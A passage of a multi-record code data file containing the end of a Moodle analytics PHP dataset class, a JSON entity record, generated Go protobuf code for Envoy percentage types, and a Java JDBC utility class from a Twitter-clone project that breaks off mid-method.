(!$fh) {\n return false;\n }\n foreach ($data as $line) {\n fputcsv($fh, $line);\n }\n fclose($fh);\n\n return $fs->create_file_from_pathname($filerecord, $filepath);\n }\n\n /**\n * Returns the previous evaluation file.\n *\n * Important to note that this is per modelid + timesplittingid, when dealing with multiple\n * analysables this is the merged file. Do not confuse with self::get_evaluation_analysable_file\n *\n * @param int $modelid\n * @param string $timesplittingid\n * @return \\stored_file\n */\n public static function get_previous_evaluation_file($modelid, $timesplittingid) {\n $fs = get_file_storage();\n // Evaluation data is always labelled.\n $filepath = '/timesplitting/' . \\core_analytics\\analysis::clean_time_splitting_id($timesplittingid) . '/';\n return $fs->get_file(\\context_system::instance()->id, 'analytics', self::LABELLED_FILEAREA, $modelid,\n $filepath, self::EVALUATION_FILENAME);\n }\n\n /**\n * Gets the list of files that couldn't be previously used for training and prediction.\n *\n * @param int $modelid\n * @param bool $includetarget\n * @param string[] $timesplittingids\n * @return null\n */\n public static function get_pending_files($modelid, $includetarget, $timesplittingids) {\n global $DB;\n\n $fs = get_file_storage();\n\n if ($includetarget) {\n $filearea = self::LABELLED_FILEAREA;\n $usedfileaction = 'trained';\n } else {\n $filearea = self::UNLABELLED_FILEAREA;\n $usedfileaction = 'predicted';\n }\n\n $select = 'modelid = :modelid AND action = :action';\n $params = array('modelid' => $modelid, 'action' => $usedfileaction);\n $usedfileids = $DB->get_fieldset_select('analytics_used_files', 'fileid', $select, $params);\n\n // Very likely that we will only have 1 time splitting method here.\n $filesbytimesplitting = array();\n foreach ($timesplittingids as $timesplittingid) {\n\n $filepath = '/timesplitting/' . \\core_analytics\\analysis::clean_time_splitting_id($timesplittingid) . '/';\n $files = $fs->get_directory_files(\\context_system::instance()->id, 'analytics', $filearea, $modelid, $filepath);\n foreach ($files as $file) {\n\n // Discard evaluation files.\n if ($file->get_filename() === self::EVALUATION_FILENAME) {\n continue;\n }\n\n // No dirs.\n if ($file->is_directory()) {\n continue;\n }\n\n // Already used for training.\n if (in_array($file->get_id(), $usedfileids)) {\n continue;\n }\n\n $filesbytimesplitting[$timesplittingid][] = $file;\n }\n }\n\n return $filesbytimesplitting;\n }\n\n /**\n * Deletes previous evaluation files of this model.\n *\n * @param int $modelid\n * @param string $timesplittingid\n * @return bool\n */\n public static function delete_previous_evaluation_file($modelid, $timesplittingid) {\n if ($file = self::get_previous_evaluation_file($modelid, $timesplittingid)) {\n $file->delete();\n return true;\n }\n\n return false;\n }\n\n /**\n * Returns this (model + analysable + time splitting) file.\n *\n * @param int $modelid\n * @param int $analysableid\n * @param string $timesplittingid\n * @return \\stored_file\n */\n public static function get_evaluation_analysable_file($modelid, $analysableid, $timesplittingid) {\n\n // Delete previous file if it exists.\n $fs = get_file_storage();\n\n // Always evaluation.csv and labelled as it is an evaluation file.\n $filearea = self::LABELLED_FILEAREA;\n $filename = self::get_filename(true);\n $filepath = '/analysable/' . $analysableid . '/' .\n \\core_analytics\\analysis::clean_time_splitting_id($timesplittingid) . '/';\n return $fs->get_file(\\context_system::instance()->id, 'analytics', $filearea, $modelid, $filepath, $filename);\n }\n\n /**\n * Merge multiple files into one.\n *\n * Important! It is the caller responsability to ensure that the datasets are compatible.\n *\n * @param array $files\n * @param int $modelid\n * @param string $timesplittingid\n * @param string $filearea\n * @param bool $evaluation\n * @return \\stored_file\n */\n public static function merge_datasets(array $files, $modelid, $timesplittingid, $filearea, $evaluation = false) {\n\n $tmpfilepath = make_request_directory() . DIRECTORY_SEPARATOR . 'tmpfile.csv';\n\n // Add headers.\n // We could also do this with a single iteration gathering all files headers and appending them to the beginning of the file\n // once all file contents are merged.\n $varnames = '';\n $analysablesvalues = array();\n foreach ($files as $file) {\n $rh = $file->get_content_file_handle();\n\n // Copy the var names as they are, all files should have the same var names.\n $varnames = fgetcsv($rh);\n\n $analysablesvalues[] = fgetcsv($rh);\n\n // Copy the columns as they are, all files should have the same columns.\n $columns = fgetcsv($rh);\n }\n\n // Merge analysable values skipping the ones that are the same in all analysables.\n $values = array();\n foreach ($analysablesvalues as $analysablevalues) {\n foreach ($analysablevalues as $varkey => $value) {\n // Sha1 to make it unique.\n $values[$varkey][sha1($value)] = $value;\n }\n }\n foreach ($values as $varkey => $varvalues) {\n $values[$varkey] = implode('|', $varvalues);\n }\n\n // Start writing to the merge file.\n $wh = fopen($tmpfilepath, 'w');\n if (!$wh) {\n throw new \\moodle_exception('errorcannotwritedataset', 'analytics', '', $tmpfilepath);\n }\n\n fputcsv($wh, $varnames);\n fputcsv($wh, $values);\n fputcsv($wh, $columns);\n\n // Iterate through all files and add them to the tmp one. We don't want file contents in memory.\n foreach ($files as $file) {\n $rh = $file->get_content_file_handle();\n\n // Skip headers.\n fgets($rh);\n fgets($rh);\n fgets($rh);\n\n // Copy all the following lines.\n while ($line = fgets($rh)) {\n fwrite($wh, $line);\n }\n fclose($rh);\n }\n fclose($wh);\n\n $filerecord = [\n 'component' => 'analytics',\n 'filearea' => $filearea,\n 'itemid' => $modelid,\n 'contextid' => \\context_system::instance()->id,\n 'filepath' => '/timesplitting/' . \\core_analytics\\analysis::clean_time_splitting_id($timesplittingid) . '/',\n 'filename' => self::get_filename($evaluation)\n ];\n\n $fs = get_file_storage();\n\n return $fs->create_file_from_pathname($filerecord, $tmpfilepath);\n }\n\n /**\n * Exports the model training data.\n *\n * @param int $modelid\n * @param string $timesplittingid\n * @return \\stored_file|false\n */\n public static function export_training_data($modelid, $timesplittingid) {\n\n $fs = get_file_storage();\n\n $contextid = \\context_system::instance()->id;\n $filepath = '/timesplitting/' . \\core_analytics\\analysis::clean_time_splitting_id($timesplittingid) . '/';\n\n $files = $fs->get_directory_files($contextid, 'analytics', self::LABELLED_FILEAREA, $modelid,\n $filepath, true, false);\n\n // Discard evaluation files.\n foreach ($files as $key => $file) {\n if ($file->get_filename() === self::EVALUATION_FILENAME) {\n unset($files[$key]);\n }\n }\n\n if (empty($files)) {\n return false;\n }\n\n return self::merge_datasets($files, $modelid, $timesplittingid, self::EXPORT_FILEAREA);\n }\n\n /**\n * Returns the dataset file data structured by sampleids using the indicators and target column names.\n *\n * @param \\stored_file $dataset\n * @return array\n */\n public static function get_structured_data(\\stored_file $dataset) {\n\n if ($dataset->get_filearea() !== 'unlabelled') {\n throw new \\coding_exception('Sorry, only support for unlabelled data');\n }\n\n $rh = $dataset->get_content_file_handle();\n\n // Skip dataset info.\n fgets($rh);\n fgets($rh);\n\n $calculations = array();\n\n $headers = fgetcsv($rh);\n // Get rid of the sampleid column name.\n array_shift($headers);\n\n while ($columns = fgetcsv($rh)) {\n $uniquesampleid = array_shift($columns);\n\n // Unfortunately fgetcsv does not respect line's var types.\n $calculations[$uniquesampleid] = array_map(function($value) {\n\n if ($value === '') {\n // We really want them as null because converted to float become 0\n // and we need to treat the values separately.\n return null;\n } else if (is_numeric($value)) {\n return floatval($value);\n }\n return $value;\n }, array_combine($headers, $columns));\n }\n\n return $calculations;\n }\n\n /**\n * Delete all files of a model.\n *\n * @param int $modelid\n * @return bool\n */\n public static function clear_model_files($modelid) {\n $fs = get_file_storage();\n return $fs->delete_area_files(\\context_system::instance()->id, 'analytics', false, $modelid);\n }\n\n /**\n * Returns the file name to be used.\n *\n * @param strinbool $evaluation\n * @return string\n */\n protected static function get_filename($evaluation) {\n\n if ($evaluation === true) {\n $filename = self::EVALUATION_FILENAME;\n } else {\n // Incremental time, the lock will make sure we don't have concurrency problems.\n $filename = microtime(true) . '.csv';\n }\n\n return $filename;\n }\n}\n"} +{"text": "{\n \"name\": \"Shift Frequency Services\",\n \"displayName\": \"Shift Frequency Services\",\n \"properties\": [\n \"shiftfrequency.com\"\n ]\n}"} +{"text": "// Code generated by protoc-gen-go. DO NOT EDIT.\n// versions:\n// \tprotoc-gen-go v1.22.0\n// \tprotoc v3.10.1\n// source: envoy/type/v3/percent.proto\n\npackage envoy_type_v3\n\nimport (\n\t_ \"github.com/cncf/udpa/go/udpa/annotations\"\n\t_ \"github.com/envoyproxy/protoc-gen-validate/validate\"\n\tproto \"github.com/golang/protobuf/proto\"\n\tprotoreflect \"google.golang.org/protobuf/reflect/protoreflect\"\n\tprotoimpl \"google.golang.org/protobuf/runtime/protoimpl\"\n\treflect \"reflect\"\n\tsync \"sync\"\n)\n\nconst (\n\t// Verify that this generated code is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)\n\t// Verify that runtime/protoimpl is sufficiently up-to-date.\n\t_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)\n)\n\n// This is a compile-time assertion that a sufficiently up-to-date version\n// of the legacy proto package is being used.\nconst _ = proto.ProtoPackageIsVersion4\n\ntype FractionalPercent_DenominatorType int32\n\nconst (\n\tFractionalPercent_HUNDRED FractionalPercent_DenominatorType = 0\n\tFractionalPercent_TEN_THOUSAND FractionalPercent_DenominatorType = 1\n\tFractionalPercent_MILLION FractionalPercent_DenominatorType = 2\n)\n\n// Enum value maps for FractionalPercent_DenominatorType.\nvar (\n\tFractionalPercent_DenominatorType_name = map[int32]string{\n\t\t0: \"HUNDRED\",\n\t\t1: \"TEN_THOUSAND\",\n\t\t2: \"MILLION\",\n\t}\n\tFractionalPercent_DenominatorType_value = map[string]int32{\n\t\t\"HUNDRED\": 0,\n\t\t\"TEN_THOUSAND\": 1,\n\t\t\"MILLION\": 2,\n\t}\n)\n\nfunc (x FractionalPercent_DenominatorType) Enum() *FractionalPercent_DenominatorType {\n\tp := new(FractionalPercent_DenominatorType)\n\t*p = x\n\treturn p\n}\n\nfunc (x FractionalPercent_DenominatorType) String() string {\n\treturn protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))\n}\n\nfunc (FractionalPercent_DenominatorType) Descriptor() protoreflect.EnumDescriptor {\n\treturn file_envoy_type_v3_percent_proto_enumTypes[0].Descriptor()\n}\n\nfunc (FractionalPercent_DenominatorType) Type() protoreflect.EnumType {\n\treturn &file_envoy_type_v3_percent_proto_enumTypes[0]\n}\n\nfunc (x FractionalPercent_DenominatorType) Number() protoreflect.EnumNumber {\n\treturn protoreflect.EnumNumber(x)\n}\n\n// Deprecated: Use FractionalPercent_DenominatorType.Descriptor instead.\nfunc (FractionalPercent_DenominatorType) EnumDescriptor() ([]byte, []int) {\n\treturn file_envoy_type_v3_percent_proto_rawDescGZIP(), []int{1, 0}\n}\n\ntype Percent struct {\n\tstate protoimpl.MessageState\n\tsizeCache protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tValue float64 `protobuf:\"fixed64,1,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *Percent) Reset() {\n\t*x = Percent{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_envoy_type_v3_percent_proto_msgTypes[0]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Percent) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Percent) ProtoMessage() {}\n\nfunc (x *Percent) ProtoReflect() protoreflect.Message {\n\tmi := &file_envoy_type_v3_percent_proto_msgTypes[0]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Percent.ProtoReflect.Descriptor instead.\nfunc (*Percent) Descriptor() ([]byte, []int) {\n\treturn file_envoy_type_v3_percent_proto_rawDescGZIP(), []int{0}\n}\n\nfunc (x *Percent) GetValue() float64 {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn 0\n}\n\ntype FractionalPercent struct {\n\tstate protoimpl.MessageState\n\tsizeCache protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tNumerator uint32 `protobuf:\"varint,1,opt,name=numerator,proto3\" json:\"numerator,omitempty\"`\n\tDenominator FractionalPercent_DenominatorType `protobuf:\"varint,2,opt,name=denominator,proto3,enum=envoy.type.v3.FractionalPercent_DenominatorType\" json:\"denominator,omitempty\"`\n}\n\nfunc (x *FractionalPercent) Reset() {\n\t*x = FractionalPercent{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_envoy_type_v3_percent_proto_msgTypes[1]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *FractionalPercent) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*FractionalPercent) ProtoMessage() {}\n\nfunc (x *FractionalPercent) ProtoReflect() protoreflect.Message {\n\tmi := &file_envoy_type_v3_percent_proto_msgTypes[1]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use FractionalPercent.ProtoReflect.Descriptor instead.\nfunc (*FractionalPercent) Descriptor() ([]byte, []int) {\n\treturn file_envoy_type_v3_percent_proto_rawDescGZIP(), []int{1}\n}\n\nfunc (x *FractionalPercent) GetNumerator() uint32 {\n\tif x != nil {\n\t\treturn x.Numerator\n\t}\n\treturn 0\n}\n\nfunc (x *FractionalPercent) GetDenominator() FractionalPercent_DenominatorType {\n\tif x != nil {\n\t\treturn x.Denominator\n\t}\n\treturn FractionalPercent_HUNDRED\n}\n\nvar File_envoy_type_v3_percent_proto protoreflect.FileDescriptor\n\nvar file_envoy_type_v3_percent_proto_rawDesc = []byte{\n\t0x0a, 0x1b, 0x65, 0x6e, 0x76, 0x6f, 0x79, 0x2f, 0x74, 0x79, 0x70, 0x65, 0x2f, 0x76, 0x33, 0x2f,\n\t0x70, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0d, 0x65,\n\t0x6e, 0x76, 0x6f, 0x79, 0x2e, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x76, 0x33, 0x1a, 0x1d, 0x75, 0x64,\n\t0x70, 0x61, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x73,\n\t0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x21, 0x75, 0x64, 0x70,\n\t0x61, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x76, 0x65,\n\t0x72, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x6e, 0x67, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x17,\n\t0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74,\n\t0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x53, 0x0a, 0x07, 0x50, 0x65, 0x72, 0x63, 0x65,\n\t0x6e, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x01, 0x42, 0x17, 0xfa, 0x42, 0x14, 0x12, 0x12, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59,\n\t0x40, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75,\n\t0x65, 0x3a, 0x19, 0x9a, 0xc5, 0x88, 0x1e, 0x14, 0x0a, 0x12, 0x65, 0x6e, 0x76, 0x6f, 0x79, 0x2e,\n\t0x74, 0x79, 0x70, 0x65, 0x2e, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x22, 0xf3, 0x01, 0x0a,\n\t0x11, 0x46, 0x72, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x63, 0x65,\n\t0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x75, 0x6d, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6e, 0x75, 0x6d, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72,\n\t0x12, 0x5c, 0x0a, 0x0b, 0x64, 0x65, 0x6e, 0x6f, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x6f, 0x72, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x30, 0x2e, 0x65, 0x6e, 0x76, 0x6f, 0x79, 0x2e, 0x74, 0x79,\n\t0x70, 0x65, 0x2e, 0x76, 0x33, 0x2e, 0x46, 0x72, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x61, 0x6c,\n\t0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x2e, 0x44, 0x65, 0x6e, 0x6f, 0x6d, 0x69, 0x6e, 0x61,\n\t0x74, 0x6f, 0x72, 0x54, 0x79, 0x70, 0x65, 0x42, 0x08, 0xfa, 0x42, 0x05, 0x82, 0x01, 0x02, 0x10,\n\t0x01, 0x52, 0x0b, 0x64, 0x65, 0x6e, 0x6f, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x6f, 0x72, 0x22, 0x3d,\n\t0x0a, 0x0f, 0x44, 0x65, 0x6e, 0x6f, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x6f, 0x72, 0x54, 0x79, 0x70,\n\t0x65, 0x12, 0x0b, 0x0a, 0x07, 0x48, 0x55, 0x4e, 0x44, 0x52, 0x45, 0x44, 0x10, 0x00, 0x12, 0x10,\n\t0x0a, 0x0c, 0x54, 0x45, 0x4e, 0x5f, 0x54, 0x48, 0x4f, 0x55, 0x53, 0x41, 0x4e, 0x44, 0x10, 0x01,\n\t0x12, 0x0b, 0x0a, 0x07, 0x4d, 0x49, 0x4c, 0x4c, 0x49, 0x4f, 0x4e, 0x10, 0x02, 0x3a, 0x23, 0x9a,\n\t0xc5, 0x88, 0x1e, 0x1e, 0x0a, 0x1c, 0x65, 0x6e, 0x76, 0x6f, 0x79, 0x2e, 0x74, 0x79, 0x70, 0x65,\n\t0x2e, 0x46, 0x72, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x63, 0x65,\n\t0x6e, 0x74, 0x42, 0x35, 0x0a, 0x1b, 0x69, 0x6f, 0x2e, 0x65, 0x6e, 0x76, 0x6f, 0x79, 0x70, 0x72,\n\t0x6f, 0x78, 0x79, 0x2e, 0x65, 0x6e, 0x76, 0x6f, 0x79, 0x2e, 0x74, 0x79, 0x70, 0x65, 0x2e, 0x76,\n\t0x33, 0x42, 0x0c, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x50,\n\t0x01, 0xba, 0x80, 0xc8, 0xd1, 0x06, 0x02, 0x10, 0x02, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f,\n\t0x33,\n}\n\nvar (\n\tfile_envoy_type_v3_percent_proto_rawDescOnce sync.Once\n\tfile_envoy_type_v3_percent_proto_rawDescData = file_envoy_type_v3_percent_proto_rawDesc\n)\n\nfunc file_envoy_type_v3_percent_proto_rawDescGZIP() []byte {\n\tfile_envoy_type_v3_percent_proto_rawDescOnce.Do(func() {\n\t\tfile_envoy_type_v3_percent_proto_rawDescData = protoimpl.X.CompressGZIP(file_envoy_type_v3_percent_proto_rawDescData)\n\t})\n\treturn file_envoy_type_v3_percent_proto_rawDescData\n}\n\nvar file_envoy_type_v3_percent_proto_enumTypes = make([]protoimpl.EnumInfo, 1)\nvar file_envoy_type_v3_percent_proto_msgTypes = make([]protoimpl.MessageInfo, 2)\nvar file_envoy_type_v3_percent_proto_goTypes = []interface{}{\n\t(FractionalPercent_DenominatorType)(0), // 0: envoy.type.v3.FractionalPercent.DenominatorType\n\t(*Percent)(nil), // 1: envoy.type.v3.Percent\n\t(*FractionalPercent)(nil), // 2: envoy.type.v3.FractionalPercent\n}\nvar file_envoy_type_v3_percent_proto_depIdxs = []int32{\n\t0, // 0: envoy.type.v3.FractionalPercent.denominator:type_name -> envoy.type.v3.FractionalPercent.DenominatorType\n\t1, // [1:1] is the sub-list for method output_type\n\t1, // [1:1] is the sub-list for method input_type\n\t1, // [1:1] is the sub-list for extension type_name\n\t1, // [1:1] is the sub-list for extension extendee\n\t0, // [0:1] is the sub-list for field type_name\n}\n\nfunc init() { file_envoy_type_v3_percent_proto_init() }\nfunc file_envoy_type_v3_percent_proto_init() {\n\tif File_envoy_type_v3_percent_proto != nil {\n\t\treturn\n\t}\n\tif !protoimpl.UnsafeEnabled {\n\t\tfile_envoy_type_v3_percent_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Percent); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_envoy_type_v3_percent_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*FractionalPercent); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\ttype x struct{}\n\tout := protoimpl.TypeBuilder{\n\t\tFile: protoimpl.DescBuilder{\n\t\t\tGoPackagePath: reflect.TypeOf(x{}).PkgPath(),\n\t\t\tRawDescriptor: file_envoy_type_v3_percent_proto_rawDesc,\n\t\t\tNumEnums: 1,\n\t\t\tNumMessages: 2,\n\t\t\tNumExtensions: 0,\n\t\t\tNumServices: 0,\n\t\t},\n\t\tGoTypes: file_envoy_type_v3_percent_proto_goTypes,\n\t\tDependencyIndexes: file_envoy_type_v3_percent_proto_depIdxs,\n\t\tEnumInfos: file_envoy_type_v3_percent_proto_enumTypes,\n\t\tMessageInfos: file_envoy_type_v3_percent_proto_msgTypes,\n\t}.Build()\n\tFile_envoy_type_v3_percent_proto = out.File\n\tfile_envoy_type_v3_percent_proto_rawDesc = nil\n\tfile_envoy_type_v3_percent_proto_goTypes = nil\n\tfile_envoy_type_v3_percent_proto_depIdxs = nil\n}\n"} +{"text": "package com.twitter.util;\n\nimport java.lang.reflect.Field;\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Vector;\n\npublic class DBUtil {\n\tstatic Vector conPool = new Vector();\n\n\tstatic {\n\t\tfor (int i = 0; i < 20; i++) {\n\t\t\ttry {\n\t\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t\t\tConnection con = DriverManager.getConnection(\"jdbc:mysql://localhost:3306/mytwitter\", \"root\", \"root\");\n\t\t\t\tconPool.add(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static Connection getConnection() {\n\t\tConnection con = conPool.get(0);\n\t\tconPool.remove(0);\n\t\treturn con;\n\t}\n\n\tpublic static void releaseConnection(Connection con) {\n\t\tconPool.add(con);\n\t}\n\n\tpublic static List query(Class c, String sql, Object... obj) {\n\t\tConnection con = getConnection();\n\t\tList list = new ArrayList();\n\n\t\ttry {\n\t\t\tPreparedStatement pre = con.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < obj.length; i++) {\n\t\t\t\tpre.setObject(i + 1, obj[i]);\n\t\t\t}\n\t\t\tResultSet rs = pre.executeQuery();\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\tint count = rsmd.getColumnCount();\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tObject object = c.newInstance();\n\t\t\t\tfor (int i = 1; i <= count; i++) {\n\t\t\t\t\tString filedName = rsmd.getColumnLabel(i);\n\t\t\t\t\tField field = c.getDeclaredField(filedName);\n\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t\tfield.set(object, rs.getObject(i));\n\t\t\t\t}\n\t\t\t\tlist.add(object);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(con);\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic static List query(Class c, String sql, int uid, List olist) {\n\t\tConnection con = getConnection();\n\t\tList list = new ArrayList();\n\n\t\ttry {\n\t\t\tPreparedStatement pre = con.prepareStatement(sql);\n\t\t\tpre.setObject(1, uid);\n\t\t\tfor (int i = 1; i <= olist.size(); i++) {\n\t\t\t\tpre.setObject(i + 1, olist.get(i - 1));\n\t\t\t}\n\t\t\tResultSet rs = pre.executeQuery();\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\tint count = rsmd.getColumnCount();\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tObject object = c.newInstance();\n\t\t\t\tfor (int i = 1; i <= count; i++) {\n\t\t\t\t\tString filedName = rsmd.getColumnLabel(i);\n\t\t\t\t\tField field = c.getDeclaredField(filedName);\n\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t\tfield.set(object, rs.getObject(i));\n\t\t\t\t}\n\t\t\t\tlist.add(object);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(con);\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic static List query(Class c, String sql, int uid, List olist, int tid) {\n\t\tConnection con = getConnection();\n\t\tList list = new ArrayList();\n\t\ttry {\n\t\t\tint i = 1;\n\t\t\tPreparedStatement pre = con.prepareStatement(sql);\n\t\t\tpre.setObject(1, uid);\n\t\t\tif (olist != null) {\n\t\t\t\tfor (i = 1; i <= olist.size(); i++) {\n\t\t\t\t\tpre.setObject(i + 1, olist.get(i - 1));\n\t\t\t\t}\n\t\t\t}\n\t\t\tpre.setObject(i + 1, tid);\n\t\t\tResultSet rs = pre.executeQuery();\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\tint count = rsmd.getColumnCount();\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tObject object = c.newInstance();\n\t\t\t\tfor (int j = 1; j <= count; j++) {\n\t\t\t\t\tString filedName = rsmd.getColumnLabel(j);\n\t\t\t\t\tField field = c.getDeclaredField(filedName);\n\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t\tfield.set(object, rs.getObject(j));\n\t\t\t\t}\n\t\t\t\tlist.add(object);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(con);\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic static List query(Class c, String sql, String word, List olist, int tid) {\n\t\tConnection con = getConnection();\n\t\tList list = new ArrayList();\n\t\ttry {\n\t\t\tint i = 1;\n\t\t\tPreparedStatement pre = con.prepareStatement(sql);\n\t\t\tpre.setObject(1, word);\n\t\t\tpre.setObject(2, word);\n\t\t\tif (olist != null) {\n\t\t\t\tfor (i = 1; i <= olist.size(); i++) {\n\t\t\t\t\tpre.setObject(i + 2, olist.get(i - 1));\n\t\t\t\t}\n\t\t\t}\n\t\t\tpre.setObject(i + 2, tid);\n\t\t\tResultSet rs = pre.executeQuery();\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\tint count = rsmd.getColumnCount();\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tObject object = c.newInstance();\n\t\t\t\tfor (int j = 1; j <= count; j++) {\n\t\t\t\t\tString filedName = rsmd.getColumnLabel(j);\n\t\t\t\t\tField field = c.getDeclaredField(filedName);\n\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t\tfield.set(object, rs.getObject(j));\n\t\t\t\t}\n\t\t\t\tlist.add(object);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(con);\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic static int query(String cn) {\n\t\tConnection con = getConnection();\n\t\tint n = 0;\n\t\tString sql = \"select count(*) from utweets where tcontent != '' and (urealname like ? or uaite like ? or tcontent like ?)\";\n\t\ttry {\n\t\t\tPreparedStatement pre = con.prepareStatement(sql);\n\t\t\tif (cn != null) {\n\t\t\t\tpre.setObject(1, \"%\" + cn + \"%\");\n\t\t\t\tpre.setObject(2, \"%\" + cn + \"%\");\n\t\t\t\tpre.setObject(3, \"%\" + cn + \"%\");\n\t\t\t} else {\n\t\t\t\tpre.setObject(1, \"%\");\n\t\t\t\tpre.setObject(2, \"%\");\n\t\t\t\tpre.setObject(3, \"%\");\n\t\t\t}\n\t\t\tResultSet rs = pre.executeQuery();\n\t\t\tif (rs.next()) {\n\t\t\t\tn = rs.getInt(1);\n\t\t\t}\n\t\t} catch 